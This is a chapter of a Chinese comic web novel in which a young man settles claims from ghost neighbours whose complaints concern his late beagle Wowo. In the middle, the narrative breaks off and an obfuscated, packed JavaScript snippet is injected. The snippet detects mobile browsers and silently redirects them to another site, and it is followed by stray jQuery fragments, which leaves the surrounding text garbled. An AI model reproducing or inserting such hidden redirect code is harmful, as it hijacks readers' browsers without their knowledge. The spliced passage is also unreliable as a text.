十分钟后,奉嘉禾回到了客厅里,脸色古怪。
她看着任超然:“原来那条比格是你家的。吵死了,嗓门又大又持久,衙门里都听得到。”
任超然下意识道:“不好意思不好意思,给你添麻烦了,我替沃沃道歉……”
熟练得让人心疼。
应真潇挑眉:“你家比格叫沃沃?那你爷爷是不是姓任,头发花白,右边脸上有个硬币大小的老年斑?”
任超然震惊:“姐姐,你、你怎么知道?”
“见过。”应真潇摊手:“上回去阴司,看到一条小比在街上横冲直撞,你爷爷跟在后面一直喊沃沃沃沃,然后给被撞倒的人道歉,别的鬼笑他,一辈子没弯下去的腰,养了这狗就没直起来过。”
“哦对了。”应真潇好笑:“还重点表扬了你,说你是孝子贤孙,送狗迫害爷爷,和你一比,连不婚不育的孙子都显得面目亲切了许多。”
任超然:……
他羞愧地低下头,倍感丢脸。
自从养了沃沃,他的腰就没直起来过。
“所以,鬼找我索赔是什么事情呢。”任超然一脸菜色,他有一种不好的预感:“和沃沃有关吗?”
奉嘉禾:“是啊,好多个鬼,说你家狗扰民、撞人,说要精神损失费,你爷爷的工资还不上,自然就来找你要了。”
任超然悬着的心终于死了。
好消息,不是别的恐怖事情。
坏消息,折磨了他十五年的狗阴魂不散:)
应真潇也笑了:“原来是这种事情。小任,你看怎么解决一下?给不给赔偿?”
“赔、赔……”任超然心如死灰:“怎么赔?烧纸,还是怎么的?”
奉嘉禾说具体要看苦主要求,问他愿不愿意当面调解一下。
如果有能力——指有办法见到鬼,并且不怕鬼的话,其实当面调解是最有利的,鬼也和人一样,当面给祂说说好话,消了气,再谈赔偿,总会好说话一些。
任超然有些犹豫,看向应真潇,得到首肯后,说自己愿意。
奉嘉禾又卷起一阵风走了,过了一阵子,房间里陡然变得阴凉了不少,气氛逐渐阴森。
陆雁锦忍不住哆嗦,想和任超然抱团取暖,却见任超然满脸破罐子破摔的淡然表情。
男儿到死心如铁,何惧鬼神严相逼:)
陆雁锦:……
他哆嗦着躲到应真潇身边,应真潇拍了拍他的脑袋,安慰他别怕。
又是一阵黑风卷起,还没看见鬼影,房间里陡然传出一阵“werwer”大叫。
未见其犬,先闻其声,刚才还一脸爱谁谁的任超然,却立马从沙发上站了起来:“沃沃,是你吗沃沃?!”
黑风消散,一条狗的魂魄从奉嘉禾腿边窜出来,扑向任超然:“wer!”
狗尾巴摇得像螺旋桨,叫声也抑扬顿挫,吵得人耳朵生疼,任超然撸着狗头:“臭沃沃,到了那边还不听爷爷话,还给我们惹麻烦……”
沃沃不语——没有不语,一直在叫——只是一味地往他怀里蹭,狗头不停地顶他。
“臭沃沃,你是臭小狗……”任超然说着说着,眼睛就红了,眼泪不停地往下淌:“再也不喜欢你了!”
奉嘉禾:“两位,叙旧先停一停,令犬子的受害者都来了。”
应真潇差点喷出来,令犬子,奉嘉禾也太有创造力了。
任超然抹了一把眼泪,和沃沃四目相对:“臭狗,看你惹的麻烦。”
沃沃毫无悔改之心,翻着白眼,大声wer了一声。
受害者们轮流显出形态,总算外观上还比较友善,没那么吓人,陆雁锦缩在应真潇身后,逐渐睁大了眼睛。
其实都是任老爷子的街坊,好几个都是应真潇那天见过的熟面孔,一见面,丝毫没有受害者的苦大仇深,反而乐呵呵的,和任超然拉家常。
一会儿有鬼说,老任头真不骗人啊,这大孙子真是一表人才;
一会儿又有鬼说,你家狗真能闹腾啊,不过也热闹,有没有稍微安静点的品种,祂也想弄个狗来陪陪自己;
还有鬼问任超然谈对象没有,她孙女如何如何,想介绍认识一下。
一时间客厅吵得像菜市场,气温仍然是低的,但阴森森的感觉却一扫而空。
任超然擦了擦脑门上的汗,挨个给爷爷奶奶叔叔阿姨们说好话,赔笑脸,说一定好好管教沃沃,姿势卑微,言语真诚,仿佛演练过许多次了,熟练得让人心疼。
比格主人的基本修养罢了:)
陆雁锦小声说:“我看出来了,他们不是诚心来要债的,主要是找个理由和活人说话。”
应真潇微微一笑:“很多死者都很寂寞的。”
死者也有社交,但那终究是不够的,他们也渴望见到活人、和活人说话。
道士们认为,阳气能够安抚死者,所以死者会有这种行为,实质是向尘世间索取阳气。
这种说法不能说是错,但太过注重冰冷的道理,忽略了鬼魂们的情感需求。
祂们也曾经是人啊。
陆雁锦深以为然。
另一边的“谈判”还在继续,奉嘉禾主持纪律,让他们按顺序来,别一起说,吵吵闹闹的,谁的话都听不清。
于是挨个开始。
起先是个老太太,面容慈祥,乐呵呵的:“老任家的,你家沃沃上回把我撞倒,弄脏我一身衣裳,这样,你给奶奶烧两件新衣服来,这事儿就揭过去了。”
任超然不住道歉,又问奶奶对衣服有没有什么要求,要不要选花色、尺码什么的。
“小孩子心真细。”老奶奶鬼说:“奶奶老了,穿衣服不挑,看着体面就成。”
任超然:“那我让我奶奶给您挑样式,她老人家最喜欢打扮了,审美也好,您穿上肯定好看,到时候去和老姐妹们跳舞打牌,保准是最时髦的老太太!”
老奶奶鬼笑得合不拢嘴,直夸他心细孝顺。
第二位要求他烧宠物来,但是不能太吵闹,也不能惹事,最好安静点,还带毛。
任超然看了一眼沃沃,后者还在翻白眼,和他对上眼神,又是wer的一声大叫,于是深吸一口气,和对面商量,给他烧一只花枝鼠,金丝熊什么的。
“耗子啊?”那鬼想了想,勉为其难:“好吧,那你要让工匠做好看一点,千万不能看起来像下水道里的那种。”
任超然连连保证。
第三位是个老爷爷鬼,他倒不要东西,只要求任超然隔阵子去养老院,探望他老伴。
他说女儿工作忙,外孙忙着学习,儿子一家都在国外,更是沾不到边,老伴儿还活着,一个人住养老院,几个月才有人来探望,他担心老伴孤单寂寞。
“儿女都是债啊,老了老了,还得靠老伴。”老爷爷鬼叹气:“可惜我死得早,落下她一个人,唉!”
任超然神色动容,连连保证,说他以后每周末都去探望老奶奶。
第四位正是那位孙子不结婚的老爷爷鬼,他也不要东西,说希望任超然给他孙子介绍个工作:“也不拘是多好的工作,稳定点,薪水别太低就行。”
祂不停叹气:“这孩子前阵子刚失业,来和我说过得好辛苦,我实在是于心不忍啊。”
任超然有些犹豫,他自己也只是普通大学生而已。
陆雁锦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889916|169451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
极有义气,举手:“我我我,爷爷我帮你孙子,你把联系方式告诉我吧。”
老爷爷鬼喜出望外。
下一位受害者更是老祖宗级别的,穿着马褂,要求任超然给他的重重孙女找对象:“不结婚不生孩子怎么行!我在地下都闭不上眼睛!”
单身至今的任超然:……
他看向陆雁锦,陆雁锦也不敢接这个茬,很没义气地撇开视线。
别的鬼嘲笑他老封建思想,马褂老头鬼不服气,说这是老祖宗的规矩,怎么能破坏,人都是要传宗接代的。
别鬼:“那你也只有一个独生的孙女,她生了孩子也未必和你姓,你又传什么宗接什么代了?”
“那也、那也得结婚!”马褂鬼直哼哧:“她爸妈一早就去世了,留下一个孤女,不结婚,不生孩子,别人欺负她怎么办?以后老了怎么办?谁给她养老?”
客厅里又吵成一团,最后达成协议,任超然给老头的重重孙女打一笔钱,让她去报个考公辅导班,考上公务员,以后组织给养老。
马褂鬼勉强接受了提议,又开始嘀嘀咕咕,说年轻人不结婚不生孩子,对不起祖宗,别的鬼让他赶紧闭嘴。
就这么吵着闹着,轮到了最后一位受害者,此鬼一撩裤子,露出小腿上的牙印,说沃沃咬了他。
他要求最多,要求烧很多纸钱下来,给他花用;还要童男童女十对,伺候他,还要给他配冥婚,娶个老婆,“必须得是漂亮的!”。
“不可能!”任超然下意识道:“我们家沃沃从来不咬人。”
鬼:“哼,每个咬人的狗主人都这么说。”
任超然:……
他有些尴尬,这话听起来确实像狡辩,可是沃沃真的没有咬过人,它表达不开心的方式,就是横冲直撞和大喊大叫,以前有人死命拽着他尾巴,沃沃嗓子都喊哑了,都没张嘴咬人。
从这个角度来说,沃沃称得上老实。
旁边的鬼和任超然聊得不错,愿意替他说好话,指责最后的鬼狮子大开口,要求他少要一些,“别为难小孩子”,倒没有鬼说,不一定是沃沃咬的。
虽然沃沃没咬过他们,也没有鬼亲眼见鬼沃沃咬别的鬼,可狗急了张嘴咬人是多么不可能的事情么?
受害鬼不服气,梗着脖子说:“没咬在你们身上,你们当然是不疼的!”
客厅里再度吵成一团,奉嘉禾拍了拍桌子:“肃静,肃静!”
临时工归临时工,代表的也是天家威仪,众鬼还是很尊重这位无常的,立马安静了下来,等着她发话决断。
“还是得让本人来说。”奉嘉禾说:“小任,他的诉求说完了,你怎么说?”
“……苗苗姐,有没有监控之类的东西,能查清楚当时发生了什么?”任超然咬咬牙,说:“我们家沃沃真的不咬人的,大叔,这不是赔偿多少的事情。”
“如果沃沃真的咬了你,那合理的范围内,你要多少我们都赔,绝对不推辞。”任超然说:“但如果不是沃沃,我们也不能因为他是个不会说话的动物,就冤枉他。”
受害者鬼:“一个畜生而已,你倒是真相信。”
“沃沃不是畜生,他是我的家人!”任超然红着眼睛:“我养了沃沃十五年,他从来没有咬过任何一个人……总之,钱不是问题,但是我要一个公道。”
看到他要哭了,众鬼又开始指责受害者鬼,说他不该欺负小朋友,又说他平时也得了老任照顾,怎么翻脸就不认人。
“……我又没逼他照顾我,他自愿的!”受害者鬼“嘁”了一声,冷笑:“反正咱们那就一条这样的狗,是不是它咬的我,查就是了,我可没有冤枉任何人!”